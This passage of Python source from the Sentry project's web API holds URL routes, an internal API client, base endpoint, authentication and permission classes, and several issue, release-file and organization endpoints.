    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/events/(?P<event_id>[\w-]+)/$',
        ProjectEventDetailsEndpoint.as_view(),
        name='sentry-api-0-project-event-details'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/(?:issues|groups)/$',
        ProjectGroupIndexEndpoint.as_view(),
        name='sentry-api-0-project-group-index'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/(?:issues|groups)/stats/$',
        ProjectGroupStatsEndpoint.as_view(),
        name='sentry-api-0-project-group-stats'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/keys/$',
        ProjectKeysEndpoint.as_view(),
        name='sentry-api-0-project-keys'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/keys/(?P<key_id>[^\/]+)/$',
        ProjectKeyDetailsEndpoint.as_view(),
        name='sentry-api-0-project-key-details'),
    url(r'^projects/(?P<organization_slug>[^/]+)/(?P<project_slug>[^/]+)/members/$',
        ProjectMemberIndexEndpoint.as_view(),
        name='sentry-api-0-project-member-index'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/releases/$',
        ProjectReleasesEndpoint.as_view(),
        name='sentry-api-0-project-releases'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/releases/(?P<version>[^/]+)/$',
        ReleaseDetailsEndpoint.as_view(),
        name='sentry-api-0-release-details'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/releases/(?P<version>[^/]+)/files/$',
        ReleaseFilesEndpoint.as_view(),
        name='sentry-api-0-release-files'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/releases/(?P<version>[^/]+)/files/(?P<file_id>\d+)/$',
        ReleaseFileDetailsEndpoint.as_view(),
        name='sentry-api-0-release-file-details'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/files/dsyms/$',
        DSymFilesEndpoint.as_view(),
        name='sentry-api-0-dsym-files'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/files/dsyms/unknown/$',
        UnknownDSymFilesEndpoint.as_view(),
        name='sentry-api-0-unknown-dsym-files'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/rules/$',
        ProjectRulesEndpoint.as_view(),
        name='sentry-api-0-project-rules'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/rules/(?P<rule_id>[^\/]+)/$',
        ProjectRuleDetailsEndpoint.as_view(),
        name='sentry-api-0-project-rule-details'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/searches/$',
        ProjectSearchesEndpoint.as_view(),
        name='sentry-api-0-project-searches'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/searches/(?P<search_id>[^\/]+)/$',
        ProjectSearchDetailsEndpoint.as_view(),
        name='sentry-api-0-project-search-details'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/stats/$',
        ProjectStatsEndpoint.as_view(),
        name='sentry-api-0-project-stats'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/tags/$',
        ProjectTagsEndpoint.as_view(),
        name='sentry-api-0-project-tags'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/tags/(?P<key>[^/]+)/$',
        ProjectTagKeyDetailsEndpoint.as_view(),
        name='sentry-api-0-project-tagkey-details'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/tags/(?P<key>[^/]+)/values/$',
        ProjectTagKeyValuesEndpoint.as_view(),
        name='sentry-api-0-project-tagkey-values'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/users/$',
        ProjectUsersEndpoint.as_view(),
        name='sentry-api-0-project-users'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/(?:user-feedback|user-reports)/$',
        ProjectUserReportsEndpoint.as_view(),
        name='sentry-api-0-project-user-reports'),
    # Load plugin project urls
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/plugin/',
        include('sentry.plugins.base.project_api_urls')),

    # Groups
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/$',
        GroupDetailsEndpoint.as_view(),
        name='sentry-api-0-group-details'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/events/$',
        GroupEventsEndpoint.as_view(),
        name='sentry-api-0-group-events'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/events/latest/$',
        GroupEventsLatestEndpoint.as_view(),
        name='sentry-api-0-group-events-latest'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/events/oldest/$',
        GroupEventsOldestEndpoint.as_view(),
        name='sentry-api-0-group-events-oldest'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/(?:notes|comments)/$',
        GroupNotesEndpoint.as_view(),
        name='sentry-api-0-group-notes'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/(?:notes|comments)/(?P<note_id>[^\/]+)/$',
        GroupNotesDetailsEndpoint.as_view(),
        name='sentry-api-0-group-notes-details'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/hashes/$',
        GroupHashesEndpoint.as_view(),
        name='sentry-api-0-group-events'),
    url(r'^issues/(?P<issue_id>\d+)/participants/$',
        GroupParticipantsEndpoint.as_view(),
        name='sentry-api-0-group-stats'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/stats/$',
        GroupStatsEndpoint.as_view(),
        name='sentry-api-0-group-stats'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/environments/(?P<environment>[^/]+)/$',
        GroupEnvironmentDetailsEndpoint.as_view(),
        name='sentry-api-0-group-environment-details'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/tags/$',
        GroupTagsEndpoint.as_view(),
        name='sentry-api-0-group-tags'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/tags/(?P<key>[^/]+)/$',
        GroupTagKeyDetailsEndpoint.as_view(),
        name='sentry-api-0-group-tagkey-details'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/tags/(?P<key>[^/]+)/values/$',
        GroupTagKeyValuesEndpoint.as_view(),
        name='sentry-api-0-group-tagkey-values'),
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/(?:user-feedback|user-reports)/$',
        GroupUserReportsEndpoint.as_view(),
        name='sentry-api-0-group-user-reports'),
    # Load plugin group urls
    url(r'^(?:issues|groups)/(?P<issue_id>\d+)/plugin/',
        include('sentry.plugins.base.group_api_urls')),

    url(r'^shared/(?:issues|groups)/(?P<share_id>[^\/]+)/$',
        SharedGroupDetailsEndpoint.as_view(),
        name='sentry-api-0-shared-group-details'),

    # Events
    url(r'^events/(?P<event_id>\d+)/$',
        EventDetailsEndpoint.as_view(),
        name='sentry-api-0-event-details'),

    # Installation Global Endpoints
    url(r'^system/global-dsyms/$',
        GlobalDSymFilesEndpoint.as_view(),
        name='sentry-api-0-global-dsym-files'),
    url(r'^system/global-dsyms/unknown/$',
        UnknownGlobalDSymFilesEndpoint.as_view(),
        name='sentry-api-0-unknown-global-dsym-files'),

    # Internal
    url(r'^internal/health/$',
        SystemHealthEndpoint.as_view(),
        name='sentry-api-0-system-health'),
    url(r'^internal/options/$',
        SystemOptionsEndpoint.as_view(),
        name='sentry-api-0-system-options'),
    url(r'^internal/stats/$',
        InternalStatsEndpoint.as_view(),
        name='sentry-api-0-internal-stats'),

    url(r'^$',
        IndexEndpoint.as_view(),
        name='sentry-api-index'),


    url(r'^',
        CatchallEndpoint.as_view(),
        name='sentry-api-catchall'),

    # url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework'))
)






from __future__ import absolute_import

__all__ = ('ApiClient',)

from django.core.urlresolvers import resolve
from rest_framework.test import APIRequestFactory, force_authenticate

from sentry.utils import json
from sentry.utils.compat import implements_to_string


@implements_to_string
class ApiError(Exception):
    def __init__(self, status_code, body):
        self.status_code = status_code
        self.body = body

    def __str__(self):
        return u'status={} body={}'.format(self.status_code, self.body)

    def __repr__(self):
        return u'<ApiError: {}>'.format(self)


class ApiClient(object):
    prefix = '/api/0'

    ApiError = ApiError

    def request(self, method, path, user=None, auth=None, params=None, data=None,
                is_sudo=None, is_superuser=None, request=None):
        full_path = self.prefix + path

        # we explicitly do not allow you to override the request *and* the user
        # as then other checks like is_superuser would need overwritten
        assert not (request and (user or auth)), 'use either request or auth'

        resolver_match = resolve(full_path)
        callback, callback_args, callback_kwargs = resolver_match

        if data:
            # we encode to ensure compatibility
            data = json.loads(json.dumps(data))

        rf = APIRequestFactory()
        mock_request = getattr(rf, method.lower())(full_path, data or {})

        if request:
            mock_request.auth = getattr(request, 'auth', None)
            mock_request.user = request.user

            if is_sudo is None:
                mock_request.is_sudo = lambda: request.is_sudo()
            else:
                mock_request.is_sudo = lambda: is_sudo

            if is_superuser is None:
                mock_request.is_superuser = lambda: request.is_superuser()
            else:
                mock_request.is_superuser = lambda: is_superuser
        else:
            mock_request.auth = auth
            mock_request.user = user
            mock_request.is_sudo = lambda: is_sudo
            mock_request.is_superuser = lambda: is_superuser

        if request:
            # superuser checks require access to IP
            mock_request.META['REMOTE_ADDR'] = request.META['REMOTE_ADDR']

        force_authenticate(mock_request, user, auth)

        if params:
            mock_request.GET._mutable = True
            mock_request.GET.update(params)
            mock_request.GET._mutable = False

        if data:
            mock_request.POST._mutable = True
            mock_request.POST.update(data)
            mock_request.POST._mutable = False

        response = callback(mock_request, *callback_args, **callback_kwargs)

        if 200 <= response.status_code < 400:
            return response
        raise self.ApiError(response.status_code, response.data)

    def get(self, *args, **kwargs):
        return self.request('GET', *args, **kwargs)

    def post(self, *args, **kwargs):
        return self.request('POST', *args, **kwargs)

    def put(self, *args, **kwargs):
        return self.request('PUT', *args, **kwargs)

    def delete(self, *args, **kwargs):
        return self.request('DELETE', *args, **kwargs)






from __future__ import absolute_import

__all__ = ['DocSection', 'Endpoint', 'StatsMixin']

import logging
import six
import time

from datetime import datetime, timedelta
from django.conf import settings
from django.utils.http import urlquote
from django.views.decorators.csrf import csrf_exempt
from enum import Enum
from pytz import utc
from rest_framework.authentication import SessionAuthentication
from rest_framework.parsers import JSONParser
from rest_framework.renderers import JSONRenderer
from rest_framework.response import Response
from rest_framework.views import APIView

from sentry.app import raven, tsdb
from sentry.models import ApiKey, AuditLogEntry
from sentry.utils.cursors import Cursor
from sentry.utils.http import absolute_uri, is_valid_origin

from .authentication import ApiKeyAuthentication, TokenAuthentication
from .paginator import Paginator
from .permissions import NoPermission


ONE_MINUTE = 60
ONE_HOUR = ONE_MINUTE * 60
ONE_DAY = ONE_HOUR * 24

LINK_HEADER = '<{uri}&cursor={cursor}>; rel="{name}"; results="{has_results}"; cursor="{cursor}"'

DEFAULT_AUTHENTICATION = (
    TokenAuthentication,
    ApiKeyAuthentication,
    SessionAuthentication,
)

logger = logging.getLogger(__name__)
audit_logger = logging.getLogger('sentry.audit.api')


class DocSection(Enum):
    ACCOUNTS = 'Accounts'
    EVENTS = 'Events'
    ORGANIZATIONS = 'Organizations'
    PROJECTS = 'Projects'
    RELEASES = 'Releases'
    TEAMS = 'Teams'


class Endpoint(APIView):
    authentication_classes = DEFAULT_AUTHENTICATION
    renderer_classes = (JSONRenderer,)
    parser_classes = (JSONParser,)
    permission_classes = (NoPermission,)

    def build_cursor_link(self, request, name, cursor):
        querystring = u'&'.join(
            u'{0}={1}'.format(urlquote(k), urlquote(v))
            for k, v in six.iteritems(request.GET)
            if k != 'cursor'
        )
        base_url = absolute_uri(request.path)
        if querystring:
            base_url = '{0}?{1}'.format(base_url, querystring)
        else:
            base_url = base_url + '?'

        return LINK_HEADER.format(
            uri=base_url,
            cursor=six.text_type(cursor),
            name=name,
            has_results='true' if bool(cursor) else 'false',
        )

    def convert_args(self, request, *args, **kwargs):
        return (args, kwargs)

    def handle_exception(self, request, exc):
        try:
            return super(Endpoint, self).handle_exception(exc)
        except Exception as exc:
            import sys
            import traceback
            sys.stderr.write(traceback.format_exc())
            event = raven.captureException(request=request)
            if event:
                event_id = raven.get_ident(event)
            else:
                event_id = None
            context = {
                'detail': 'Internal Error',
                'errorId': event_id,
            }
            return Response(context, status=500)

    def create_audit_entry(self, request, **kwargs):
        user = request.user if request.user.is_authenticated() else None
        api_key = request.auth if isinstance(request.auth, ApiKey) else None

        entry = AuditLogEntry.objects.create(
            actor=user,
            actor_key=api_key,
            ip_address=request.META['REMOTE_ADDR'],
            **kwargs
        )

        extra = {
            'entry_id': entry.id,
            'actor_label': entry.actor_label
        }
        if entry.actor_id:
            extra['actor_id'] = entry.actor_id
        if entry.actor_key_id:
            extra['actor_key_id'] = entry.actor_key_id

        audit_logger.info(entry.get_event_display(), extra=extra)

    @csrf_exempt
    def dispatch(self, request, *args, **kwargs):
        """
        Identical to rest framework's dispatch except we add the ability
        to convert arguments (for common URL params).
        """
        self.args = args
        self.kwargs = kwargs
        request = self.initialize_request(request, *args, **kwargs)
        self.request = request
        self.headers = self.default_response_headers  # deprecate?

        if settings.SENTRY_API_RESPONSE_DELAY:
            time.sleep(settings.SENTRY_API_RESPONSE_DELAY / 1000.0)

        origin = request.META.get('HTTP_ORIGIN')

        try:
            if origin and request.auth:
                allowed_origins = request.auth.get_allowed_origins()
                if not is_valid_origin(origin, allowed=allowed_origins):
                    response = Response('Invalid origin: %s' % (origin,), status=400)
                    self.response = self.finalize_response(request, response, *args, **kwargs)
                    return self.response

            self.initial(request, *args, **kwargs)

            # Get the appropriate handler method
            if request.method.lower() in self.http_method_names:
                handler = getattr(self, request.method.lower(),
                                  self.http_method_not_allowed)

                (args, kwargs) = self.convert_args(request, *args, **kwargs)
                self.args = args
                self.kwargs = kwargs
            else:
                handler = self.http_method_not_allowed

            response = handler(request, *args, **kwargs)

        except Exception as exc:
            response = self.handle_exception(request, exc)

        if origin:
            self.add_cors_headers(request, response)

        self.response = self.finalize_response(request, response, *args, **kwargs)

        return self.response

    def add_cors_headers(self, request, response):
        response['Access-Control-Allow-Origin'] = request.META['HTTP_ORIGIN']
        response['Access-Control-Allow-Methods'] = ', '.join(self.http_method_names)

    def paginate(self, request, on_results=None, paginator_cls=Paginator,
                 default_per_page=100, **kwargs):
        per_page = int(request.GET.get('per_page', default_per_page))
        input_cursor = request.GET.get('cursor')
        if input_cursor:
            input_cursor = Cursor.from_string(input_cursor)
        else:
            input_cursor = None

        assert per_page <= max(100, default_per_page)

        paginator = paginator_cls(**kwargs)
        cursor_result = paginator.get_result(
            limit=per_page,
            cursor=input_cursor,
        )

        # map results based on callback
        if on_results:
            results = on_results(cursor_result.results)

        headers = {}
        headers['Link'] = ', '.join([
            self.build_cursor_link(request, 'previous', cursor_result.prev),
            self.build_cursor_link(request, 'next', cursor_result.next),
        ])

        return Response(results, headers=headers)


class StatsMixin(object):
    def _parse_args(self, request):
        resolution = request.GET.get('resolution')
        if resolution:
            resolution = self._parse_resolution(resolution)

            assert any(r for r in tsdb.rollups if r[0] == resolution)

        end = request.GET.get('until')
        if end:
            end = datetime.fromtimestamp(float(end)).replace(tzinfo=utc)
        else:
            end = datetime.utcnow().replace(tzinfo=utc)

        start = request.GET.get('since')
        if start:
            start = datetime.fromtimestamp(float(start)).replace(tzinfo=utc)
            assert start <= end, 'start must be before or equal to end'
        else:
            start = end - timedelta(days=1, seconds=-1)

        return {
            'start': start,
            'end': end,
            'rollup': resolution,
        }

    def _parse_resolution(self, value):
        if value.endswith('h'):
            return int(value[:-1]) * ONE_HOUR
        elif value.endswith('d'):
            return int(value[:-1]) * ONE_DAY
        elif value.endswith('m'):
            return int(value[:-1]) * ONE_MINUTE
        elif value.endswith('s'):
            return int(value[:-1])
        else:
            raise ValueError(value)






from __future__ import absolute_import

from .client import ApiClient

client = ApiClient()






from __future__ import absolute_import

from django.contrib.auth.models import AnonymousUser
from django.utils.crypto import constant_time_compare
from rest_framework.authentication import (
    BasicAuthentication, get_authorization_header
)
from rest_framework.exceptions import AuthenticationFailed

from sentry import options
from sentry.app import raven
from sentry.models import ApiKey, ApiToken
from sentry.models.apikey import ROOT_KEY


class QuietBasicAuthentication(BasicAuthentication):
    def authenticate_header(self, request):
        return 'xBasic realm="%s"' % self.www_authenticate_realm


class ApiKeyAuthentication(QuietBasicAuthentication):
    def authenticate_credentials(self, userid, password):
        if password:
            return None

        root_api_key = options.get('system.root-api-key')
        if root_api_key:
            if constant_time_compare(root_api_key, userid):
                return (None, ROOT_KEY)

        try:
            key = ApiKey.objects.get_from_cache(key=userid)
        except ApiKey.DoesNotExist:
            raise AuthenticationFailed('API key is not valid')

        if not key.is_active:
            raise AuthenticationFailed('Key is disabled')

        raven.tags_context({
            'api_key': userid,
        })

        return (AnonymousUser(), key)


class TokenAuthentication(QuietBasicAuthentication):
    def authenticate(self, request):
        auth = get_authorization_header(request).split()

        if not auth or auth[0].lower() != b'bearer':
            return None

        if len(auth) == 1:
            msg = 'Invalid token header. No credentials provided.'
            raise AuthenticationFailed(msg)
        elif len(auth) > 2:
            msg = 'Invalid token header. Token string should not contain spaces.'
            raise AuthenticationFailed(msg)

        return self.authenticate_credentials(auth[1])

    def authenticate_credentials(self, token):
        try:
            token = ApiToken.objects.get(token=token)
        except ApiToken.DoesNotExist:
            raise AuthenticationFailed('Invalid token')

        if not token.user.is_active:
            raise AuthenticationFailed('User inactive or deleted')

        return (token.user, token)






from __future__ import absolute_import

from rest_framework import permissions

from sentry.models.apikey import ROOT_KEY
from sentry.auth.utils import is_privileged_request


class NoPermission(permissions.BasePermission):
    def has_permission(self, request, view):
        return False


class ScopedPermission(permissions.BasePermission):
    """
    Permissions work depending on the type of authentication:

    - A user inherits permissions based on their membership role. These are
      still dictated as common scopes, but they can't be checked until the
      has_object_permission hook is called.
    - ProjectKeys (legacy) are granted only project based scopes. This
    - APIKeys specify their scope, and work as expected.
    """
    scope_map = {
        'HEAD': (),
        'GET': (),
        'POST': (),
        'PUT': (),
        'PATCH': (),
        'DELETE': (),
    }

    def has_permission(self, request, view):
        # session-based auth has all scopes for a logged in user
        if not request.auth:
            return request.user.is_authenticated()

        allowed_scopes = set(self.scope_map.get(request.method, []))
        current_scopes = request.auth.get_scopes()
        return any(s in allowed_scopes for s in current_scopes)

    def has_object_permission(self, request, view, obj):
        return False


class SuperuserPermission(permissions.BasePermission):
    def has_permission(self, request, view):
        if request.is_superuser():
            return True
        return False


class SystemPermission(permissions.BasePermission):
    def has_permission(self, request, view):
        return request.auth is ROOT_KEY and \
            is_privileged_request(request)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.app import tsdb
from sentry.api.base import StatsMixin
from sentry.api.bases.group import GroupEndpoint


class GroupStatsEndpoint(GroupEndpoint, StatsMixin):
    def get(self, request, group):
        data = tsdb.get_range(
            model=tsdb.models.group,
            keys=[group.id],
            **self._parse_args(request)
        )[group.id]

        return Response(data)






from __future__ import absolute_import

import six

from rest_framework.response import Response

from sentry.app import tsdb
from sentry.api.base import StatsMixin
from sentry.api.bases.project import ProjectEndpoint
from sentry.models import Group


class ProjectGroupStatsEndpoint(ProjectEndpoint, StatsMixin):
    def get(self, request, project):
        group_ids = request.GET.getlist('id')
        if not group_ids:
            return Response(status=204)

        group_list = Group.objects.filter(project=project, id__in=group_ids)
        group_ids = [g.id for g in group_list]

        if not group_ids:
            return Response(status=204)

        data = tsdb.get_range(
            model=tsdb.models.group,
            keys=group_ids,
            **self._parse_args(request)
        )

        return Response({
            six.text_type(k): v
            for k, v in data.items()
        })






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api import client
from sentry.api.base import DocSection
from sentry.api.bases.group import GroupEndpoint
from sentry.models import Group
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('GetLatestGroupSample')
def get_latest_group_sample_scenario(runner):
    project = runner.default_project
    group = Group.objects.filter(project=project).first()
    runner.request(
        method='GET',
        path='/issues/%s/events/latest/' % group.id,
    )


class GroupEventsLatestEndpoint(GroupEndpoint):
    doc_section = DocSection.EVENTS

    @attach_scenarios([get_latest_group_sample_scenario])
    def get(self, request, group):
        """
        Latest Sample
        `````````````

        Retrieves the details of the latest sample for an aggregate.

        :pparam string group_id: the ID of the group to get the latest sample of.
        """
        event = group.get_latest_event()
        if not event:
            return Response({'detail': 'No events found for group'}, status=404)

        try:
            return client.get('/events/{}/'.format(event.id), request=request)
        except client.ApiError as e:
            return Response(e.body, status=e.status_code)






from __future__ import absolute_import

from django.utils import timezone
from rest_framework.response import Response

from sentry.api.bases.organization import OrganizationEndpoint
from sentry.models import (
    OnboardingTask, OnboardingTaskStatus, OrganizationOnboardingTask
)
from sentry.receivers import check_for_onboarding_complete


class OrganizationOnboardingTaskEndpoint(OrganizationEndpoint):
    def post(self, request, organization):
        try:
            task_id = int(request.DATA['task'])
        except (TypeError, ValueError):
            return Response(status=500)

        if request.DATA['status'] == 'skipped' and task_id in (
            OnboardingTask.INVITE_MEMBER,
            OnboardingTask.SECOND_PLATFORM,
            OnboardingTask.USER_CONTEXT,
            OnboardingTask.RELEASE_TRACKING,
            OnboardingTask.SOURCEMAPS,
            OnboardingTask.USER_REPORTS,
            OnboardingTask.ISSUE_TRACKER,
            OnboardingTask.NOTIFICATION_SERVICE
        ):
            rows_affected, created = OrganizationOnboardingTask.objects.create_or_update(
                organization=organization,
                user=request.user,
                task=request.DATA['task'],
                values={
                    'status': OnboardingTaskStatus.SKIPPED,
                    'date_completed': timezone.now(),
                }
            )
            if rows_affected or created:
                check_for_onboarding_complete(organization)
            return Response(status=204)

        return Response(status=404)






from __future__ import absolute_import

from rest_framework import status
from rest_framework.exceptions import PermissionDenied
from rest_framework.response import Response

from sentry.api.bases.group import GroupEndpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.api.serializers.rest_framework.group_notes import NoteSerializer
from sentry.models import Activity


class GroupNotesDetailsEndpoint(GroupEndpoint):
    # We explicitly don't allow a request with an ApiKey
    # since an ApiKey is bound to the Organization, not
    # an individual. Not sure if we'd want to allow an ApiKey
    # to delete/update other users' comments
    def delete(self, request, group, note_id):
        if not request.user.is_authenticated():
            raise PermissionDenied(detail="Key doesn't have permission to delete Note")

        try:
            note = Activity.objects.get(
                group=group,
                type=Activity.NOTE,
                user=request.user,
                id=note_id,
            )
        except Activity.DoesNotExist:
            raise ResourceDoesNotExist

        note.delete()

        return Response(status=204)

    def put(self, request, group, note_id):
        if not request.user.is_authenticated():
            raise PermissionDenied(detail="Key doesn't have permission to edit Note")

        try:
            note = Activity.objects.get(
                group=group,
                type=Activity.NOTE,
                user=request.user,
                id=note_id,
            )
        except Activity.DoesNotExist:
            raise ResourceDoesNotExist

        serializer = NoteSerializer(data=request.DATA)

        if serializer.is_valid():
            # Would be nice to have a last_modified timestamp we could bump here
            note.data = dict(serializer.object)
            note.save()

            return Response(serialize(note, request.user), status=200)

        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)






from __future__ import absolute_import

from rest_framework import serializers
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.models import Release, ReleaseFile
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('RetrieveReleaseFile')
def retrieve_file_scenario(runner):
    rf = runner.utils.create_release_file(
        project=runner.default_project,
        release=runner.default_release,
        path='/demo/readme.txt',
        contents='Hello World!'
    )
    runner.request(
        method='GET',
        path='/projects/%s/%s/releases/%s/files/%s/' % (
            runner.org.slug, runner.default_project.slug,
            runner.default_release.version, rf.id)
    )


@scenario('UpdateReleaseFile')
def update_file_scenario(runner):
    rf = runner.utils.create_release_file(
        project=runner.default_project,
        release=runner.default_release,
        path='/demo/hello.txt',
        contents='Good bye World!'
    )
    runner.request(
        method='PUT',
        path='/projects/%s/%s/releases/%s/files/%s/' % (
            runner.org.slug, runner.default_project.slug,
            runner.default_release.version, rf.id),
        data={
            'name': '/demo/goodbye.txt'
        }
    )


@scenario('DeleteReleaseFile')
def delete_file_scenario(runner):
    rf = runner.utils.create_release_file(
        project=runner.default_project,
        release=runner.default_release,
        path='/demo/badfile.txt',
        contents='Whatever!'
    )
    runner.request(
        method='DELETE',
        path='/projects/%s/%s/releases/%s/files/%s/' % (
            runner.org.slug, runner.default_project.slug,
            runner.default_release.version, rf.id)
    )


class ReleaseFileSerializer(serializers.Serializer):
    name = serializers.CharField(max_length=200, required=True)


class ReleaseFileDetailsEndpoint(ProjectEndpoint):
    doc_section = DocSection.RELEASES

    @attach_scenarios([retrieve_file_scenario])
    def get(self, request, project, version, file_id):
        """
        Retrieve a File
        ```````````````

        Return details on an individual file within a release.  This does
        not actually return the contents of the file, just the associated
        metadata.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to retrieve the
                                     file of.
        :pparam string version: the version identifier of the release.
        :pparam string file_id: the ID of the file to retrieve.
        :auth: required
        """
        try:
            release = Release.objects.get(
                project=project,
                version=version,
            )
        except Release.DoesNotExist:
            raise ResourceDoesNotExist

        try:
            releasefile = ReleaseFile.objects.get(
                release=release,
                id=file_id,
            )
        except ReleaseFile.DoesNotExist:
            raise ResourceDoesNotExist

        return Response(serialize(releasefile, request.user))

    @attach_scenarios([update_file_scenario])
    def put(self, request, project, version, file_id):
        """
        Update a File
        `````````````

        Update metadata of an existing file.  Currently only the name of
        the file can be changed.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to update the
                                     file of.
        :pparam string version: the version identifier of the release.
        :pparam string file_id: the ID of the file to update.
        :param string name: the new name of the file.
        :auth: required
        """
        try:
            release = Release.objects.get(
                project=project,
                version=version,
            )
        except Release.DoesNotExist:
            raise ResourceDoesNotExist

        try:
            releasefile = ReleaseFile.objects.get(
                release=release,
                id=file_id,
            )
        except ReleaseFile.DoesNotExist:
            raise ResourceDoesNotExist

        serializer = ReleaseFileSerializer(data=request.DATA)

        if not serializer.is_valid():
            return Response(serializer.errors, status=400)

        result = serializer.object

        releasefile.update(
            name=result['name'],
        )

        return Response(serialize(releasefile, request.user))

    @attach_scenarios([delete_file_scenario])
    def delete(self, request, project, version, file_id):
        """
        Delete a File
        `````````````

        Permanently remove a file from a release.

        This will also remove the physical file from storage.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to delete the
                                     file of.
        :pparam string version: the version identifier of the release.
        :pparam string file_id: the ID of the file to delete.
        :auth: required
        """
        try:
            release = Release.objects.get(
                project=project,
                version=version,
            )
        except Release.DoesNotExist:
            raise ResourceDoesNotExist

        try:
            releasefile = ReleaseFile.objects.get(
                release=release,
                id=file_id,
            )
        except ReleaseFile.DoesNotExist:
            raise ResourceDoesNotExist

        file = releasefile.file

        # TODO(dcramer): this doesnt handle a failure from file.deletefile() to
        # the actual deletion of the db row
        releasefile.delete()
        file.delete()

        return Response(status=204)






from __future__ import absolute_import

from sentry.api.bases import OrganizationMemberEndpoint
from sentry.api.paginator import DateTimePaginator
from sentry.api.serializers import serialize, OrganizationActivitySerializer
from sentry.models import Activity, OrganizationMemberTeam, Project


class OrganizationActivityEndpoint(OrganizationMemberEndpoint):
    def get(self, request, organization, member):
        queryset = Activity.objects.filter(
            project__in=Project.objects.filter(
                organization=organization,
                team__in=OrganizationMemberTeam.objects.filter(
                    organizationmember=member,
                ).values('team')
            )
        ).select_related('project', 'group', 'user')

        return self.paginate(
            request=request,
            queryset=queryset,
            paginator_cls=DateTimePaginator,
            order_by='-datetime',
            on_results=lambda x: serialize(
                x, request.user, OrganizationActivitySerializer()
            ),
        )






from __future__ import absolute_import

from sentry.api.bases import OrganizationIssuesEndpoint
from sentry.models import Group


class OrganizationMemberIssuesBookmarkedEndpoint(OrganizationIssuesEndpoint):
    def get_queryset(self, request, organization, member, project_list):
        return Group.objects.filter(
            bookmark_set__user=member.user,
            bookmark_set__project__in=project_list,
        ).extra(
            select={'sort_by': 'sentry_groupbookmark.date_added'},
        ).order_by('-sort_by')






from __future__ import absolute_import

import six

from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.organization import OrganizationEndpoint
from sentry.models import Group
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('ResolveShortId')
def resolve_short_id_scenario(runner):
    group = Group.objects.filter(project=runner.default_project).first()
    runner.request(
        method='GET',
        path='/organizations/%s/shortids/%s/' % (
            runner.org.slug,
            group.qualified_short_id,
        )
    )


class ShortIdLookupEndpoint(OrganizationEndpoint):
    doc_section = DocSection.ORGANIZATIONS

    @attach_scenarios([resolve_short_id_scenario])
    def get(self, request, organization, short_id):
        """
        Resolve a Short ID
        ``````````````````

        This resolves a short ID to the project slug and internal issue ID.

        :pparam string organization_slug: the slug of the organization the
                                          short ID should be looked up in.
        :pparam string short_id: the short ID to look up.
        :auth: required
        """
        try:
            group = Group.objects.by_qualified_short_id(organization, short_id)
        except Group.DoesNotExist:
            raise ResourceDoesNotExist()

        return Response({
            'organizationSlug': organization.slug,
            'projectSlug': group.project.slug,
            'groupId': six.text_type(group.id),
            'shortId': group.qualified_short_id,
        })






from __future__ import absolute_import

import six

from django.db import IntegrityError, transaction
from django.db.models import Count, Q, Sum
from rest_framework import serializers, status
from rest_framework.response import Response

from sentry import roles
